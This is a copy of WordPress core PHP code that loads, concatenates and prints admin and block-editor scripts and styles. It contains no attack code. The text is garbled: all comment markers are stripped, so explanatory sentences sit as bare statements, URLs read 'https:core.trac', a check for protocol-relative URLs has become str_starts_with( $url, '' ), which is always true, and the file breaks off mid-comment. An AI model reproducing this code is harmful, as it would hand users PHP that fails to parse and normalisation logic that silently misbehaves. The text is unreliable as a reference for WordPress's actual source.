* Administration Screen CSS for changing the styles.
*
* If installing the 'wp-admin/' directory will be replaced with './'.
*
* The $_wp_admin_css_colors global manages the Administration Screens CSS
* stylesheet that is loaded. The option that is set is 'admin_color' and is the
* color and key for the array. The value for the color key is an object with
* a 'url' parameter that has the URL path to the CSS file.
*
* The query from $src parameter will be appended to the URL that is given from
* the $_wp_admin_css_colors array value URL.
*
* @since 2.6.0
*
* @global array $_wp_admin_css_colors
*
* @param string $src Source URL.
* @param string $handle Either 'colors' or 'colors-rtl'.
* @return string|false URL path to CSS stylesheet for Administration Screens.
function wp_style_loader_src( $src, $handle ) {
global $_wp_admin_css_colors;
if ( wp_installing() ) {
return preg_replace( '#^wp-admin/#', './', $src );
}
if ( 'colors' === $handle ) {
$color = get_user_option( 'admin_color' );
if ( empty( $color ) || ! isset( $_wp_admin_css_colors[ $color ] ) ) {
$color = 'fresh';
}
$color = $_wp_admin_css_colors[ $color ];
$url = $color->url;
if ( ! $url ) {
return false;
}
$parsed = parse_url( $src );
if ( isset( $parsed['query'] ) && $parsed['query'] ) {
wp_parse_str( $parsed['query'], $qv );
$url = add_query_arg( $qv, $url );
}
return $url;
}
return $src;
}
*
* Prints the script queue in the HTML head on admin pages.
*
* Postpones the scripts that were queued for the footer.
* print_footer_scripts() is called in the footer to print these scripts.
*
* @since 2.8.0
*
* @see wp_print_scripts()
*
* @global bool $concatenate_scripts
*
* @return array
function print_head_scripts() {
global $concatenate_scripts;
if ( ! did_action( 'wp_print_scripts' ) ) {
* This action is documented in wp-includes/functions.wp-scripts.php
do_action( 'wp_print_scripts' );
}
$wp_scripts = wp_scripts();
script_concat_settings();
$wp_scripts->do_concat = $concatenate_scripts;
$wp_scripts->do_head_items();
*
* Filters whether to print the head scripts.
*
* @since 2.8.0
*
* @param bool $print Whether to print the head scripts. Default true.
if ( apply_filters( 'print_head_scripts', true ) ) {
_print_scripts();
}
$wp_scripts->reset();
return $wp_scripts->done;
}
*
* Prints the scripts that were queued for the footer or too late for the HTML head.
*
* @since 2.8.0
*
* @global WP_Scripts $wp_scripts
* @global bool $concatenate_scripts
*
* @return array
function print_footer_scripts() {
global $wp_scripts, $concatenate_scripts;
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
return array(); No need to run if not instantiated.
}
script_concat_settings();
$wp_scripts->do_concat = $concatenate_scripts;
$wp_scripts->do_footer_items();
*
* Filters whether to print the footer scripts.
*
* @since 2.8.0
*
* @param bool $print Whether to print the footer scripts. Default true.
if ( apply_filters( 'print_footer_scripts', true ) ) {
_print_scripts();
}
$wp_scripts->reset();
return $wp_scripts->done;
}
*
* Prints scripts (internal use only)
*
* @ignore
*
* @global WP_Scripts $wp_scripts
* @global bool $compress_scripts
function _print_scripts() {
global $wp_scripts, $compress_scripts;
$zip = $compress_scripts ? 1 : 0;
if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) {
$zip = 'gzip';
}
$concat = trim( $wp_scripts->concat, ', ' );
$type_attr = current_theme_supports( 'html5', 'script' ) ? '' : " type='text/javascript'";
if ( $concat ) {
if ( ! empty( $wp_scripts->print_code ) ) {
echo "\n<script{$type_attr}>\n";
echo " <![CDATA[ \n"; Not needed in HTML 5.
echo $wp_scripts->print_code;
echo " ]]> \n";
echo "</script>\n";
}
$concat = str_split( $concat, 128 );
$concatenated = '';
foreach ( $concat as $key => $chunk ) {
$concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}";
}
$src = $wp_scripts->base_url . "/wp-admin/load-scripts.php?c={$zip}" . $concatenated . '&ver=' . $wp_scripts->default_version;
echo "<script{$type_attr} src='" . esc_attr( $src ) . "'></script>\n";
}
if ( ! empty( $wp_scripts->print_html ) ) {
echo $wp_scripts->print_html;
}
}
*
* Prints the script queue in the HTML head on the front end.
*
* Postpones the scripts that were queued for the footer.
* wp_print_footer_scripts() is called in the footer to print these scripts.
*
* @since 2.8.0
*
* @global WP_Scripts $wp_scripts
*
* @return array
function wp_print_head_scripts() {
global $wp_scripts;
if ( ! did_action( 'wp_print_scripts' ) ) {
* This action is documented in wp-includes/functions.wp-scripts.php
do_action( 'wp_print_scripts' );
}
if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
return array(); No need to run if nothing is queued.
}
return print_head_scripts();
}
*
* Private, for use in *_footer_scripts hooks
*
* @since 3.3.0
function _wp_footer_scripts() {
print_late_styles();
print_footer_scripts();
}
*
* Hooks to print the scripts and styles in the footer.
*
* @since 2.8.0
function wp_print_footer_scripts() {
*
* Fires when footer scripts are printed.
*
* @since 2.8.0
do_action( 'wp_print_footer_scripts' );
}
*
* Wrapper for do_action( 'wp_enqueue_scripts' ).
*
* Allows plugins to queue scripts for the front end using wp_enqueue_script().
* Runs first in wp_head() where all is_home(), is_page(), etc. functions are available.
*
* @since 2.8.0
function wp_enqueue_scripts() {
*
* Fires when scripts and styles are enqueued.
*
* @since 2.8.0
do_action( 'wp_enqueue_scripts' );
}
*
* Prints the styles queue in the HTML head on admin pages.
*
* @since 2.8.0
*
* @global bool $concatenate_scripts
*
* @return array
function print_admin_styles() {
global $concatenate_scripts;
$wp_styles = wp_styles();
script_concat_settings();
$wp_styles->do_concat = $concatenate_scripts;
$wp_styles->do_items( false );
*
* Filters whether to print the admin styles.
*
* @since 2.8.0
*
* @param bool $print Whether to print the admin styles. Default true.
if ( apply_filters( 'print_admin_styles', true ) ) {
_print_styles();
}
$wp_styles->reset();
return $wp_styles->done;
}
*
* Prints the styles that were queued too late for the HTML head.
*
* @since 3.3.0
*
* @global WP_Styles $wp_styles
* @global bool $concatenate_scripts
*
* @return array|void
function print_late_styles() {
global $wp_styles, $concatenate_scripts;
if ( ! ( $wp_styles instanceof WP_Styles ) ) {
return;
}
script_concat_settings();
$wp_styles->do_concat = $concatenate_scripts;
$wp_styles->do_footer_items();
*
* Filters whether to print the styles queued too late for the HTML head.
*
* @since 3.3.0
*
* @param bool $print Whether to print the 'late' styles. Default true.
if ( apply_filters( 'print_late_styles', true ) ) {
_print_styles();
}
$wp_styles->reset();
return $wp_styles->done;
}
*
* Prints styles (internal use only).
*
* @ignore
* @since 3.3.0
*
* @global bool $compress_css
function _print_styles() {
global $compress_css;
$wp_styles = wp_styles();
$zip = $compress_css ? 1 : 0;
if ( $zip && defined( 'ENFORCE_GZIP' ) && ENFORCE_GZIP ) {
$zip = 'gzip';
}
$concat = trim( $wp_styles->concat, ', ' );
$type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"';
if ( $concat ) {
$dir = $wp_styles->text_direction;
$ver = $wp_styles->default_version;
$concat = str_split( $concat, 128 );
$concatenated = '';
foreach ( $concat as $key => $chunk ) {
$concatenated .= "&load%5Bchunk_{$key}%5D={$chunk}";
}
$href = $wp_styles->base_url . "/wp-admin/load-styles.php?c={$zip}&dir={$dir}" . $concatenated . '&ver=' . $ver;
echo "<link rel='stylesheet' href='" . esc_attr( $href ) . "'{$type_attr} media='all' />\n";
if ( ! empty( $wp_styles->print_code ) ) {
echo "<style{$type_attr}>\n";
echo $wp_styles->print_code;
echo "\n</style>\n";
}
}
if ( ! empty( $wp_styles->print_html ) ) {
echo $wp_styles->print_html;
}
}
*
* Determines the concatenation and compression settings for scripts and styles.
*
* @since 2.8.0
*
* @global bool $concatenate_scripts
* @global bool $compress_scripts
* @global bool $compress_css
function script_concat_settings() {
global $concatenate_scripts, $compress_scripts, $compress_css;
$compressed_output = ( ini_get( 'zlib.output_compression' ) || 'ob_gzhandler' === ini_get( 'output_handler' ) );
$can_compress_scripts = ! wp_installing() && get_site_option( 'can_compress_scripts' );
if ( ! isset( $concatenate_scripts ) ) {
$concatenate_scripts = defined( 'CONCATENATE_SCRIPTS' ) ? CONCATENATE_SCRIPTS : true;
if ( ( ! is_admin() && ! did_action( 'login_init' ) ) || ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ) {
$concatenate_scripts = false;
}
}
if ( ! isset( $compress_scripts ) ) {
$compress_scripts = defined( 'COMPRESS_SCRIPTS' ) ? COMPRESS_SCRIPTS : true;
if ( $compress_scripts && ( ! $can_compress_scripts || $compressed_output ) ) {
$compress_scripts = false;
}
}
if ( ! isset( $compress_css ) ) {
$compress_css = defined( 'COMPRESS_CSS' ) ? COMPRESS_CSS : true;
if ( $compress_css && ( ! $can_compress_scripts || $compressed_output ) ) {
$compress_css = false;
}
}
}
*
* Handles the enqueueing of block scripts and styles that are common to both
* the editor and the front-end.
*
* @since 5.0.0
function wp_common_block_scripts_and_styles() {
if ( is_admin() && ! wp_should_load_block_editor_scripts_and_styles() ) {
return;
}
wp_enqueue_style( 'wp-block-library' );
if ( current_theme_supports( 'wp-block-styles' ) && ! wp_should_load_separate_core_block_assets() ) {
wp_enqueue_style( 'wp-block-library-theme' );
}
*
* Fires after enqueuing block assets for both editor and front-end.
*
* Call `add_action` on any hook before 'wp_enqueue_scripts'.
*
* In the function call you supply, simply use `wp_enqueue_script` and
* `wp_enqueue_style` to add your functionality to the Gutenberg editor.
*
* @since 5.0.0
do_action( 'enqueue_block_assets' );
}
*
* Applies a filter to the list of style nodes that comes from WP_Theme_JSON::get_style_nodes().
*
* This particular filter removes all of the blocks from the array.
*
* We want WP_Theme_JSON to be ignorant of the implementation details of how the CSS is being used.
* This filter allows us to modify the output of WP_Theme_JSON depending on whether or not we are
* loading separate assets, without making the class aware of that detail.
*
* @since 6.1.0
*
* @param array $nodes The nodes to filter.
* @return array A filtered array of style nodes.
function wp_filter_out_block_nodes( $nodes ) {
return array_filter(
$nodes,
static function ( $node ) {
return ! in_array( 'blocks', $node['path'], true );
},
ARRAY_FILTER_USE_BOTH
);
}
*
* Enqueues the global styles defined via theme.json.
*
* @since 5.8.0
function wp_enqueue_global_styles() {
$separate_assets = wp_should_load_separate_core_block_assets();
$is_block_theme = wp_is_block_theme();
$is_classic_theme = ! $is_block_theme;
* Global styles should be printed in the head when loading all styles combined.
* The footer should only be used to print global styles for classic themes with separate core assets enabled.
*
* See https:core.trac.wordpress.org/ticket/53494.
if (
( $is_block_theme && doing_action( 'wp_footer' ) ) ||
( $is_classic_theme && doing_action( 'wp_footer' ) && ! $separate_assets ) ||
( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) && $separate_assets )
) {
return;
}
* If loading the CSS for each block separately, then load the theme.json CSS conditionally.
* This removes the CSS from the global-styles stylesheet and adds it to the inline CSS for each block.
* This filter must be registered before calling wp_get_global_stylesheet();
add_filter( 'wp_theme_json_get_style_nodes', 'wp_filter_out_block_nodes' );
$stylesheet = wp_get_global_stylesheet();
if ( empty( $stylesheet ) ) {
return;
}
wp_register_style( 'global-styles', false );
wp_add_inline_style( 'global-styles', $stylesheet );
wp_enqueue_style( 'global-styles' );
Add each block as an inline css.
wp_add_global_styles_for_blocks();
}
*
* Enqueues the global styles custom css defined via theme.json.
*
* @since 6.2.0
function wp_enqueue_global_styles_custom_css() {
if ( ! wp_is_block_theme() ) {
return;
}
Don't enqueue Customizer's custom CSS separately.
remove_action( 'wp_head', 'wp_custom_css_cb', 101 );
$custom_css = wp_get_custom_css();
$custom_css .= wp_get_global_styles_custom_css();
if ( ! empty( $custom_css ) ) {
wp_add_inline_style( 'global-styles', $custom_css );
}
}
*
* Checks if the editor scripts and styles for all registered block types
* should be enqueued on the current screen.
*
* @since 5.6.0
*
* @global WP_Screen $current_screen WordPress current screen object.
*
* @return bool Whether scripts and styles should be enqueued.
function wp_should_load_block_editor_scripts_and_styles() {
global $current_screen;
$is_block_editor_screen = ( $current_screen instanceof WP_Screen ) && $current_screen->is_block_editor();
*
* Filters the flag that decides whether or not block editor scripts and styles
* are going to be enqueued on the current screen.
*
* @since 5.6.0
*
* @param bool $is_block_editor_screen Current value of the flag.
return apply_filters( 'should_load_block_editor_scripts_and_styles', $is_block_editor_screen );
}
*
* Checks whether separate styles should be loaded for core blocks on-render.
*
* When this function returns true, other functions ensure that core blocks
* only load their assets on-render, and each block loads its own, individual
* assets. Third-party blocks only load their assets when rendered.
*
* When this function returns false, all core block assets are loaded regardless
* of whether they are rendered in a page or not, because they are all part of
* the `block-library/style.css` file. Assets for third-party blocks are always
* enqueued regardless of whether they are rendered or not.
*
* This only affects front end and not the block editor screens.
*
* @see wp_enqueue_registered_block_scripts_and_styles()
* @see register_block_style_handle()
*
* @since 5.8.0
*
* @return bool Whether separate assets will be loaded.
function wp_should_load_separate_core_block_assets() {
if ( is_admin() || is_feed() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
return false;
}
*
* Filters whether block styles should be loaded separately.
*
* Returning false loads all core block assets, regardless of whether they are rendered
* in a page or not. Returning true loads core block assets only when they are rendered.
*
* @since 5.8.0
*
* @param bool $load_separate_assets Whether separate assets will be loaded.
* Default false (all block assets are loaded, even when not used).
return apply_filters( 'should_load_separate_core_block_assets', false );
}
*
* Enqueues registered block scripts and styles, depending on current rendered
* context (only enqueuing editor scripts while in context of the editor).
*
* @since 5.0.0
*
* @global WP_Screen $current_screen WordPress current screen object.
function wp_enqueue_registered_block_scripts_and_styles() {
global $current_screen;
if ( wp_should_load_separate_core_block_assets() ) {
return;
}
$load_editor_scripts_and_styles = is_admin() && wp_should_load_block_editor_scripts_and_styles();
$block_registry = WP_Block_Type_Registry::get_instance();
foreach ( $block_registry->get_all_registered() as $block_name => $block_type ) {
Front-end and editor styles.
foreach ( $block_type->style_handles as $style_handle ) {
wp_enqueue_style( $style_handle );
}
Front-end and editor scripts.
foreach ( $block_type->script_handles as $script_handle ) {
wp_enqueue_script( $script_handle );
}
if ( $load_editor_scripts_and_styles ) {
Editor styles.
foreach ( $block_type->editor_style_handles as $editor_style_handle ) {
wp_enqueue_style( $editor_style_handle );
}
Editor scripts.
foreach ( $block_type->editor_script_handles as $editor_script_handle ) {
wp_enqueue_script( $editor_script_handle );
}
}
}
}
*
* Function responsible for enqueuing the styles required for block styles functionality on the editor and on the frontend.
*
* @since 5.3.0
*
* @global WP_Styles $wp_styles
function enqueue_block_styles_assets() {
global $wp_styles;
$block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered();
foreach ( $block_styles as $block_name => $styles ) {
foreach ( $styles as $style_properties ) {
if ( isset( $style_properties['style_handle'] ) ) {
If the site loads separate styles per-block, enqueue the stylesheet on render.
if ( wp_should_load_separate_core_block_assets() ) {
add_filter(
'render_block',
static function ( $html, $block ) use ( $block_name, $style_properties ) {
if ( $block['blockName'] === $block_name ) {
wp_enqueue_style( $style_properties['style_handle'] );
}
return $html;
},
10,
2
);
} else {
wp_enqueue_style( $style_properties['style_handle'] );
}
}
if ( isset( $style_properties['inline_style'] ) ) {
Default to "wp-block-library".
$handle = 'wp-block-library';
If the site loads separate styles per-block, check if the block has a stylesheet registered.
if ( wp_should_load_separate_core_block_assets() ) {
$block_stylesheet_handle = generate_block_asset_handle( $block_name, 'style' );
if ( isset( $wp_styles->registered[ $block_stylesheet_handle ] ) ) {
$handle = $block_stylesheet_handle;
}
}
Add inline styles to the calculated handle.
wp_add_inline_style( $handle, $style_properties['inline_style'] );
}
}
}
}
*
* Function responsible for enqueuing the assets required for block styles functionality on the editor.
*
* @since 5.3.0
function enqueue_editor_block_styles_assets() {
$block_styles = WP_Block_Styles_Registry::get_instance()->get_all_registered();
$register_script_lines = array( '( function() {' );
foreach ( $block_styles as $block_name => $styles ) {
foreach ( $styles as $style_properties ) {
$block_style = array(
'name' => $style_properties['name'],
'label' => $style_properties['label'],
);
if ( isset( $style_properties['is_default'] ) ) {
$block_style['isDefault'] = $style_properties['is_default'];
}
$register_script_lines[] = sprintf(
' wp.blocks.registerBlockStyle( \'%s\', %s );',
$block_name,
wp_json_encode( $block_style )
);
}
}
$register_script_lines[] = '} )();';
$inline_script = implode( "\n", $register_script_lines );
wp_register_script( 'wp-block-styles', false, array( 'wp-blocks' ), true, array( 'in_footer' => true ) );
wp_add_inline_script( 'wp-block-styles', $inline_script );
wp_enqueue_script( 'wp-block-styles' );
}
*
* Enqueues the assets required for the block directory within the block editor.
*
* @since 5.5.0
function wp_enqueue_editor_block_directory_assets() {
wp_enqueue_script( 'wp-block-directory' );
wp_enqueue_style( 'wp-block-directory' );
}
*
* Enqueues the assets required for the format library within the block editor.
*
* @since 5.8.0
function wp_enqueue_editor_format_library_assets() {
wp_enqueue_script( 'wp-format-library' );
wp_enqueue_style( 'wp-format-library' );
}
*
* Sanitizes an attributes array into an attributes string to be placed inside a `<script>` tag.
*
* Automatically injects type attribute if needed.
* Used by {@see wp_get_script_tag()} and {@see wp_get_inline_script_tag()}.
*
* @since 5.7.0
*
* @param array $attributes Key-value pairs representing `<script>` tag attributes.
* @return string String made of sanitized `<script>` tag attributes.
function wp_sanitize_script_attributes( $attributes ) {
$html5_script_support = ! is_admin() && ! current_theme_supports( 'html5', 'script' );
$attributes_string = '';
* If HTML5 script tag is supported, only the attribute name is added
* to $attributes_string for entries with a boolean value, and that are true.
foreach ( $attributes as $attribute_name => $attribute_value ) {
if ( is_bool( $attribute_value ) ) {
if ( $attribute_value ) {
$attributes_string .= $html5_script_support ? sprintf( ' %1$s="%2$s"', esc_attr( $attribute_name ), esc_attr( $attribute_name ) ) : ' ' . esc_attr( $attribute_name );
}
} else {
$attributes_string .= sprintf( ' %1$s="%2$s"', esc_attr( $attribute_name ), esc_attr( $attribute_value ) );
}
}
return $attributes_string;
}
*
* Formats `<script>` loader tags.
*
* It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter.
* Automatically injects type attribute if needed.
*
* @since 5.7.0
*
* @param array $attributes Key-value pairs representing `<script>` tag attributes.
* @return string String containing `<script>` opening and closing tags.
function wp_get_script_tag( $attributes ) {
if ( ! isset( $attributes['type'] ) && ! is_admin() && ! current_theme_supports( 'html5', 'script' ) ) {
Keep the type attribute as the first for legacy reasons (it has always been this way in core).
$attributes = array_merge(
array( 'type' => 'text/javascript' ),
$attributes
);
}
*
* Filters attributes to be added to a script tag.
*
* @since 5.7.0
*
* @param array $attributes Key-value pairs representing `<script>` tag attributes.
* Only the attribute name is added to the `<script>` tag for
* entries with a boolean value, and that are true.
$attributes = apply_filters( 'wp_script_attributes', $attributes );
return sprintf( "<script%s></script>\n", wp_sanitize_script_attributes( $attributes ) );
}
*
* Prints formatted `<script>` loader tag.
*
* It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter.
* Automatically injects type attribute if needed.
*
* @since 5.7.0
*
* @param array $attributes Key-value pairs representing `<script>` tag attributes.
function wp_print_script_tag( $attributes ) {
echo wp_get_script_tag( $attributes );
}
*
* Wraps inline JavaScript in `<script>` tag.
*
* It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter.
* Automatically injects type attribute if needed.
*
* @since 5.7.0
*
* @param string $javascript Inline JavaScript code.
* @param array $attributes Optional. Key-value pairs representing `<script>` tag attributes.
* @return string String containing inline JavaScript code wrapped around `<script>` tag.
function wp_get_inline_script_tag( $javascript, $attributes = array() ) {
$is_html5 = current_theme_supports( 'html5', 'script' ) || is_admin();
if ( ! isset( $attributes['type'] ) && ! $is_html5 ) {
Keep the type attribute as the first for legacy reasons (it has always been this way in core).
$attributes = array_merge(
array( 'type' => 'text/javascript' ),
$attributes
);
}
* XHTML extracts the contents of the SCRIPT element and then the XML parser
* decodes character references and other syntax elements. This can lead to
* misinterpretation of the script contents or invalid XHTML documents.
*
* Wrapping the contents in a CDATA section instructs the XML parser not to
* transform the contents of the SCRIPT element before passing them to the
* JavaScript engine.
*
* Example:
*
* <script>console.log('…');</script>
*
* In an HTML document this would print "…" to the console,
* but in an XHTML document it would print "…" to the console.
*
* <script>console.log('An image is <img> in HTML');</script>
*
* In an HTML document this would print "An image is <img> in HTML",
* but it's an invalid XHTML document because it interprets the `<img>`
* as an empty tag missing its closing `/`.
*
* @see https:www.w3.org/TR/xhtml1/#h-4.8
if ( ! $is_html5 ) {
* If the string `]]>` exists within the JavaScript it would break
* out of any wrapping CDATA section added here, so to start, it's
* necessary to escape that sequence which requires splitting the
* content into two CDATA sections wherever it's found.
*
* Note: it's only necessary to escape the closing `]]>` because
* an additional `<![CDATA[` leaves the contents unchanged.
$javascript = str_replace( ']]>', ']]]]><![CDATA[>', $javascript );
Wrap the entire escaped script inside a CDATA section.
$javascript = sprintf( " <![CDATA[ \n%s\n ]]> ", $javascript );
}
$javascript = "\n" . trim( $javascript, "\n\r " ) . "\n";
*
* Filters attributes to be added to a script tag.
*
* @since 5.7.0
*
* @param array $attributes Key-value pairs representing `<script>` tag attributes.
* Only the attribute name is added to the `<script>` tag for
* entries with a boolean value, and that are true.
* @param string $javascript Inline JavaScript code.
$attributes = apply_filters( 'wp_inline_script_attributes', $attributes, $javascript );
return sprintf( "<script%s>%s</script>\n", wp_sanitize_script_attributes( $attributes ), $javascript );
}
*
* Prints inline JavaScript wrapped in `<script>` tag.
*
* It is possible to inject attributes in the `<script>` tag via the {@see 'wp_script_attributes'} filter.
* Automatically injects type attribute if needed.
*
* @since 5.7.0
*
* @param string $javascript Inline JavaScript code.
* @param array $attributes Optional. Key-value pairs representing `<script>` tag attributes.
function wp_print_inline_script_tag( $javascript, $attributes = array() ) {
echo wp_get_inline_script_tag( $javascript, $attributes );
}
*
* Allows small styles to be inlined.
*
* This improves performance and sustainability, and is opt-in. Stylesheets can opt in
* by adding `path` data using `wp_style_add_data`, and defining the file's absolute path:
*
* wp_style_add_data( $style_handle, 'path', $file_path );
*
* @since 5.8.0
*
* @global WP_Styles $wp_styles
function wp_maybe_inline_styles() {
global $wp_styles;
$total_inline_limit = 20000;
*
* The maximum size of inlined styles in bytes.
*
* @since 5.8.0
*
* @param int $total_inline_limit The file-size threshold, in bytes. Default 20000.
$total_inline_limit = apply_filters( 'styles_inline_size_limit', $total_inline_limit );
$styles = array();
Build an array of styles that have a path defined.
foreach ( $wp_styles->queue as $handle ) {
if ( ! isset( $wp_styles->registered[ $handle ] ) ) {
continue;
}
$src = $wp_styles->registered[ $handle ]->src;
$path = $wp_styles->get_data( $handle, 'path' );
if ( $path && $src ) {
$size = wp_filesize( $path );
if ( ! $size ) {
continue;
}
$styles[] = array(
'handle' => $handle,
'src' => $src,
'path' => $path,
'size' => $size,
);
}
}
if ( ! empty( $styles ) ) {
Reorder styles array based on size.
usort(
$styles,
static function ( $a, $b ) {
return ( $a['size'] <= $b['size'] ) ? -1 : 1;
}
);
* The total inlined size.
*
* On each iteration of the loop, if a style gets added inline the value of this var increases
* to reflect the total size of inlined styles.
$total_inline_size = 0;
Loop styles.
foreach ( $styles as $style ) {
Size check. Since styles are ordered by size, we can break the loop.
if ( $total_inline_size + $style['size'] > $total_inline_limit ) {
break;
}
Get the styles if we don't already have them.
$style['css'] = file_get_contents( $style['path'] );
* Check if the style contains relative URLs that need to be modified.
* URLs relative to the stylesheet's path should be converted to relative to the site's root.
$style['css'] = _wp_normalize_relative_css_links( $style['css'], $style['src'] );
Set `src` to `false` and add styles inline.
$wp_styles->registered[ $style['handle'] ]->src = false;
if ( empty( $wp_styles->registered[ $style['handle'] ]->extra['after'] ) ) {
$wp_styles->registered[ $style['handle'] ]->extra['after'] = array();
}
array_unshift( $wp_styles->registered[ $style['handle'] ]->extra['after'], $style['css'] );
Add the styles size to the $total_inline_size var.
$total_inline_size += (int) $style['size'];
}
}
}
*
* Makes URLs relative to the WordPress installation.
*
* @since 5.9.0
* @access private
*
* @param string $css The CSS to make URLs relative to the WordPress installation.
* @param string $stylesheet_url The URL to the stylesheet.
*
* @return string The CSS with URLs made relative to the WordPress installation.
function _wp_normalize_relative_css_links( $css, $stylesheet_url ) {
return preg_replace_callback(
'#(url\s*\(\s*[\'"]?\s*)([^\'"\)]+)#',
static function ( $matches ) use ( $stylesheet_url ) {
list( , $prefix, $url ) = $matches;
Short-circuit if the URL does not require normalization.
if (
str_starts_with( $url, 'http:' ) ||
str_starts_with( $url, 'https:' ) ||
str_starts_with( $url, '' ) ||
str_starts_with( $url, '#' ) ||
str_starts_with( $url, 'data:' )
) {
return $matches[0];
}
Build the absolute URL.
$absolute_url = dirname( $stylesheet_url ) . '/' . $url;
$absolute_url = str_replace( '/./', '/', $absolute_url );
Convert to URL related to the site root.
$url = wp_make_link_relative( $absolute_url );
return $prefix . $url;
},
$css
);
}
*
* Function that enqueues the CSS Custom Properties coming from theme.json.
*
* @since 5.9.0
function wp_enqueue_global_styles_css_custom_properties() {
wp_register_style( 'global-styles-css-custom-properties', false );
wp_add_inline_style( 'global-styles-css-custom-properties', wp_get_global_stylesheet( array( 'variables' ) ) );
wp_enqueue_style( 'global-styles-css-custom-properties' );
}
*
* Hooks inline styles in the proper place, depending on the active theme.
*
* @since 5.9.1
* @since 6.1.0 Added the `$priority` parameter.
*
* For block themes, styles are loaded in the head.
* For classic ones, styles are loaded in the body because the wp_head action happens before render_block.
*
* @link https:core.trac.wordpress.org/ticket/53494.
*
* @param string $style String containing the CSS styles to be added.
* @param int $priority To set the priority for the add_action.
function wp_enqueue_block_support_styles( $style, $priority = 10 ) {
$action_hook_name = 'wp_footer';
if ( wp_is_block_theme() ) {
$action_hook_name = 'wp_head';
}
add_action(
$action_hook_name,
static function () use ( $style ) {
echo "<style>$style</style>\n";
},
$priority
);
}
*
* Fetches, processes and compiles stored core styles, then combines and renders them to the page.
* Styles are stored via the style engine API.
*
* @link https:developer.wordpress.org/block-editor/reference-guides/packages/packages-style-engine/
*
* @since 6.1.0
*
* @param array $options {
* Optional. An array of options to pass to wp_style_engine_get_stylesheet_from_context().
* Default empty array.
*
* @type bool $optimize Whether to optimize the CSS output, e.g., combine rules.
* Default false.
* @type bool $prettify Whether to add new lines and indents to output.
* Default to whether the `SCRIPT_DEBUG` constant is defined.
* }
function wp_enqueue_stored_styles( $options = array() ) {
$is_block_theme = wp_is_block_theme();
$is_classic_theme = ! $is_block_theme;
* For block themes, this function prints stored styles in the header.
* For classic themes, in the footer.
if (
( $is_block_theme && doing_action( 'wp_footer' ) ) ||
( $is_classic_theme && doing_action( 'wp_enqueue_scripts' ) )
) {
return;
}
$core_styles_keys = array( 'block-supports' );
$compiled_core_stylesheet = '';
$style_tag_id = 'core';
Adds comment if code is prettified to identify core styles sections in debugging.
$should_prettify = isset( $options['prettify'] ) ? true === $options['prettify'] : defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG;
foreach ( $core_styles_keys as $style_key ) {
if ( $should_prettify ) {
$compiled_core_stylesheet .= "*\n * Core styles: $style_key\n \n";
}
Chains core store ids to signify what the styles contain.
$style_tag_id .= '-' . $style_key;
$compiled_core_stylesheet .= wp_style_engine_get_stylesheet_from_context( $style_key, $options );
}
Combines Core styles.
if ( ! empty( $compiled_core_stylesheet ) ) {
wp_register_style( $style_tag_id, false );
wp_add_inline_style( $style_tag_id, $compiled_core_stylesheet );
wp_enqueue_style( $style_tag_id );
}
Prints out any other stores registered by themes or otherwise.
$additional_stores = WP_Style_Engine_CSS_Rules_Store::get_stores();
foreach ( array_keys( $additional_stores ) as $store_name ) {
if ( in_array( $store_name, $core_styles_keys, true ) ) {
continue;
}
$styles = wp_style_engine_get_stylesheet_from_context( $store_name, $options );
if ( ! empty( $styles ) ) {
$key = "wp-style-engine-$store_name";
wp_register_style( $key, false );
wp_add_inline_style( $key, $styles );
wp_enqueue_style( $key );
}
}
}
*
* Enqueues a stylesheet for a specific block.
*
* If the theme has opted-in to separate-styles loading,
* then the stylesheet will be enqueued on-render,
* otherwise when the block inits.
*
* @since 5.9.0
*
* @param string $block_name The block-name, including namespace.
* @param array $args {
* An array of arguments. See wp_register_style() for full information about each argument.
*
* @type string $handle The handle for the stylesheet.
* @type string|false $src The source URL of the stylesheet.
* @type string[] $deps Array of registered stylesheet handles this stylesheet depends on.
* @type string|bool|null $ver Stylesheet version number.
* @type string $media The media for which this stylesheet has been defined.
* @type string|null $path Absolute path to the stylesheet, so that it can potentially be inlined.
* }
function wp_enqueue_block_style( $block_name, $args ) {
$args = wp_parse_args(
$args,
array(
'handle' => '',
'src' => '',
'deps' => array(),
'ver' => false,
'media' => 'all',
)
);
*
* Callback function to register and enqueue styles.
*
* @param string $content When the callback is used for the render_block filter,
* the content needs to be returned so the function parameter
* is to ensure the content exists.
* @return string Block content.
$callback = static function ( $content ) use ( $args ) {
Register the stylesheet.
if ( ! empty( $args['src'] ) ) {
wp_register_style( $args['handle'], $args['src'], $args['deps'], $args['ver'], $args['media'] );
}
Add `path` data if provided.
if ( isset( $args['path'] ) ) {
wp_style_add_data( $args['handle'], 'path', $args['path'] );
Get the RTL file path.
$rtl_file_path = str_replace( '.css', '-rtl.css', $args['path'] );
Add RTL stylesheet.
if ( file_exists( $rtl_file_path ) ) {
wp_style_add_data( $args['handle'], 'rtl', 'replace' );
if ( is_rtl() ) {
wp_style_add_data( $args['handle'], 'path', $rtl_file_path );
}
}
}
Enqueue the stylesheet.
wp_enqueue_style( $args['handle'] );
return $content;
};
$hook = did_action( 'wp_enqueue_scripts' ) ? 'wp_footer' : 'wp_enqueue_scripts';
if ( wp_should_load_separate_core_block_assets() ) {
*
* Callback function to register and enqueue styles.
*
* @param string $content The block content.
* @param array $block The full block, including name and attributes.
* @return string Block content.
$callback_separate = static function ( $content, $block ) use ( $block_name, $callback ) {
if ( ! empty( $block['blockName'] ) && $block_name === $block['blockName'] ) {
return $callback( $content );
}
return $content;
};
* The filter's callback here is an anonymous function because
* using a named function in this case is not possible.
*
* The function cannot be unhooked, however, users are still able
* to dequeue the stylesheets registered/enqueued by the callback
* which is why in this case, using an anonymous function
* was deemed acceptable.
add_filter( 'render_block', $callback_separate, 10, 2 );
return;
}
* The filter's callback here is an anonymous function because
* using a named function in this case is not possible.
*
* The function cannot be unhooked, however, users are still able
* to dequeue the stylesheets registered/enqueued by the callback
